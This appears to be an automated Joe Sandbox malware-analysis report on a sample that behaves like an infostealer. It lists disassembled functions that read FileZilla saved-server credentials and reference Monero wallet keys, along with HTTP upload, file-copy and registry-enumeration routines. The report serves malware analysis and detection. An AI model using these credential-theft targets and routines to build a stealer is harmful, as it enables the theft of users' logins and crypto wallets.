Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5484d66607441ce08bbc911dd8d7dbb7411c2f705692c261a949380b4354884
Instruction ID: 10bf87b43389b2d5fd20e93a09e48458a682dfd33b4cc02ff938be047ba22f07
Opcode Fuzzy Hash: a5484d66607441ce08bbc911dd8d7dbb7411c2f705692c261a949380b4354884
Instruction Fuzzy Hash: 254129F260C3049FE304AE29EC857BABBD5EBD4320F19853DE6D8C3780E67448058696

Function 005B9E04 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a6b35d261e783b652fa33e77de01e776296213be93c4ff03aa72c89e3178bb
Instruction ID: 76c5e7fc545cfb135734b5faa3a2ab60731520580340182e120db29930c3ae70
Opcode Fuzzy Hash: c4a6b35d261e783b652fa33e77de01e776296213be93c4ff03aa72c89e3178bb
Instruction Fuzzy Hash: D04106B39082209FE3559A29DC007BAB3D5EF84320F16853DDED4D7780EA355C0587C6

Function 00678815 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 131ee8be36cb96963ed0c148a45ce3674ccd623df2315131e2faa03da6c71434
Instruction ID: 48dde7b23d16001f7ea78ae0b92567aa25a46a52f3667965a51e44e78541bbe6
Opcode Fuzzy Hash: 131ee8be36cb96963ed0c148a45ce3674ccd623df2315131e2faa03da6c71434
Instruction Fuzzy Hash: 0E4168F3E086108BE304AA29EC4572BB7D6EBD4320F16C63CDAC953784E93958058686

Function 002F9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 002F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 002F8E0B

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002E148F,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002E148F), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00300DBA,00300DB7,00300DB6,00300DB3), ref: 002F0362
RtlAllocateHeap.NTDLL(00000000), ref: 002F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 002F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 002F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 002F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 002F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 002F0562
lstrcat.KERNEL32(?,profile: null), ref: 002F0571
lstrcat.KERNEL32(?,url: ), ref: 002F0580
lstrcat.KERNEL32(?,00000000), ref: 002F0593
lstrcat.KERNEL32(?,00301678), ref: 002F05A2
lstrcat.KERNEL32(?,00000000), ref: 002F05B5
lstrcat.KERNEL32(?,0030167C), ref: 002F05C4
lstrcat.KERNEL32(?,login: ), ref: 002F05D3
lstrcat.KERNEL32(?,00000000), ref: 002F05E6
lstrcat.KERNEL32(?,00301688), ref: 002F05F5
lstrcat.KERNEL32(?,password: ), ref: 002F0604
lstrcat.KERNEL32(?,00000000), ref: 002F0617
lstrcat.KERNEL32(?,00301698), ref: 002F0626
lstrcat.KERNEL32(?,0030169C), ref: 002F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00300DB2), ref: 002F068E

Strings

url: , xrefs: 002F0577
<Host>, xrefs: 002F037C
browser: FileZilla, xrefs: 002F0559
<Port>, xrefs: 002F03C6
<User>, xrefs: 002F0410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 002F02A4
password: , xrefs: 002F05FB
profile: null, xrefs: 002F0568
<Pass encoding="base64">, xrefs: 002F045A
login: , xrefs: 002F05CA

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: a31b81b34e3ccef91c3e7b5dee0b9f0591bfa2c7e4c6df6ec6373168e30c116a
Instruction ID: 106e637ead24e53241aca2a87bb1cf8f3add7b112455f5c5dc59c16a5d7dcb9c
Opcode Fuzzy Hash: a31b81b34e3ccef91c3e7b5dee0b9f0591bfa2c7e4c6df6ec6373168e30c116a
Instruction Fuzzy Hash: DDD133B192010C9BCB14EBF0DD96EFEB378EF14740F444528F606A6095DE74AA1ADF61

Function 002E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002E59F8
StrCmpCA.SHLWAPI(?,0132F360), ref: 002E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0132F2C0,00000000,?,01329D38,00000000,?,00301A1C), ref: 002E5E71
lstrlen.KERNEL32(00000000), ref: 002E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 002E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 002E5E9A
lstrlen.KERNEL32(00000000), ref: 002E5EAF
lstrlen.KERNEL32(00000000), ref: 002E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 002E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 002E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 002E5F4C
InternetCloseHandle.WININET(00000000), ref: 002E5FB0
InternetCloseHandle.WININET(00000000), ref: 002E5FBD
HttpOpenRequestA.WININET(00000000,0132F2D0,?,0132EB40,00000000,00000000,00400100,00000000), ref: 002E5BF8

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

InternetCloseHandle.WININET(00000000), ref: 002E5FC7

Strings

------, xrefs: 002E5D4C
------, xrefs: 002E5A96
", xrefs: 002E5CD5
------, xrefs: 002E5C0B
", xrefs: 002E5E16

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 2b81780ef70ca60673b592d3e6d88a3502f6ce017944c6ead70c3cb4ceaa9248
Instruction ID: 811be92fbd1f191f73de2396788977f8f19ad70c1c974a3dee7d091f070542bb
Opcode Fuzzy Hash: 2b81780ef70ca60673b592d3e6d88a3502f6ce017944c6ead70c3cb4ceaa9248
Instruction Fuzzy Hash: 9E12CDB183111CABDB15EBA0DC96FEEB378BF14780F504179B20A62091DF706A5ACF65

Function 002ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(00300E1A,01329C18,003005AE,?,?,002E13F9,?,0000001A,00300E1A,00000000,?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 002ED0CE
lstrcat.KERNEL32(?,00000000), ref: 002ED208
lstrcat.KERNEL32(?,00301478), ref: 002ED217
lstrcat.KERNEL32(?,00000000), ref: 002ED22A
lstrcat.KERNEL32(?,0030147C), ref: 002ED239
lstrcat.KERNEL32(?,00000000), ref: 002ED24C
lstrcat.KERNEL32(?,00301480), ref: 002ED25B
lstrcat.KERNEL32(?,00000000), ref: 002ED26E
lstrcat.KERNEL32(?,00301484), ref: 002ED27D
lstrcat.KERNEL32(?,00000000), ref: 002ED290
lstrcat.KERNEL32(?,00301488), ref: 002ED29F
lstrcat.KERNEL32(?,00000000), ref: 002ED2B2
lstrcat.KERNEL32(?,0030148C), ref: 002ED2C1
lstrcat.KERNEL32(?,00000000), ref: 002ED2D4
lstrcat.KERNEL32(?,00301490), ref: 002ED2E3

Part of subcall function 002FA820: lstrlen.KERNEL32(002E4F05,?,?,002E4F05,00300DDE), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(00300DDE,00000000), ref: 002FA885

lstrlen.KERNEL32(?), ref: 002ED32A
lstrlen.KERNEL32(?), ref: 002ED339

Part of subcall function 002FAA70: StrCmpCA.SHLWAPI(013287F0,002EA7A7,?,002EA7A7,013287F0), ref: 002FAA8F

DeleteFileA.KERNEL32(00000000), ref: 002ED3B4

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 2b50b3adf582d277e0d5006e59a04b7749597dbe33a6986336d813b48af821ec
Instruction ID: 2566738a2994d1a1b63e644f2e8f95ca22037394ca2199b268c694c582bbf6fc
Opcode Fuzzy Hash: 2b50b3adf582d277e0d5006e59a04b7749597dbe33a6986336d813b48af821ec
Instruction Fuzzy Hash: E6E124B19201089BCB14EBA0DD96EFEB378AF14740F504164F60BB6091DF75AE1ADF62

Function 002EC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0132DE48,00000000,?,0030144C,00000000,?,?), ref: 002ECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 002ECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 002ECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 002ECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 002ECAD9
StrStrA.SHLWAPI(?,0132DF08,00300B52), ref: 002ECAF7
StrStrA.SHLWAPI(00000000,0132DF68), ref: 002ECB1E
StrStrA.SHLWAPI(?,0132E5D8,00000000,?,00301458,00000000,?,00000000,00000000,?,01328940,00000000,?,00301454,00000000,?), ref: 002ECCA2
StrStrA.SHLWAPI(00000000,0132E6F8), ref: 002ECCB9

Part of subcall function 002EC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 002EC871
Part of subcall function 002EC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 002EC87C

StrStrA.SHLWAPI(?,0132E6F8,00000000,?,0030145C,00000000,?,00000000,013289E0), ref: 002ECD5A
StrStrA.SHLWAPI(00000000,01328A80), ref: 002ECD71

Part of subcall function 002EC820: lstrcat.KERNEL32(?,00300B46), ref: 002EC943
Part of subcall function 002EC820: lstrcat.KERNEL32(?,00300B47), ref: 002EC957
Part of subcall function 002EC820: lstrcat.KERNEL32(?,00300B4E), ref: 002EC978

lstrlen.KERNEL32(00000000), ref: 002ECE44
CloseHandle.KERNEL32(00000000), ref: 002ECE9C

Strings

, xrefs: 002EC9C6

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 66b980041c62001bad3d428fca6cb77b1129e3ad9ce18d0edac821c3c2331617
Instruction ID: 7679a7bf907a3c85f187d9a2dddd6742056371b377eb43b80fd8962b7b10e521
Opcode Fuzzy Hash: 66b980041c62001bad3d428fca6cb77b1129e3ad9ce18d0edac821c3c2331617
Instruction Fuzzy Hash: 4CE100B182010CABDB15EBA0DC92FFEB778AF14380F404179F20A66191DF706A5ACF61

Function 002F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

RegOpenKeyExA.ADVAPI32(00000000,0132AC80,00000000,00020019,00000000,003005B6), ref: 002F83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 002F8426
wsprintfA.USER32 ref: 002F8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 002F847B
RegCloseKey.ADVAPI32(00000000), ref: 002F848C
RegCloseKey.ADVAPI32(00000000), ref: 002F8499

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Strings

?, xrefs: 002F837A
%s\%s, xrefs: 002F844D
- , xrefs: 002F85A3

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
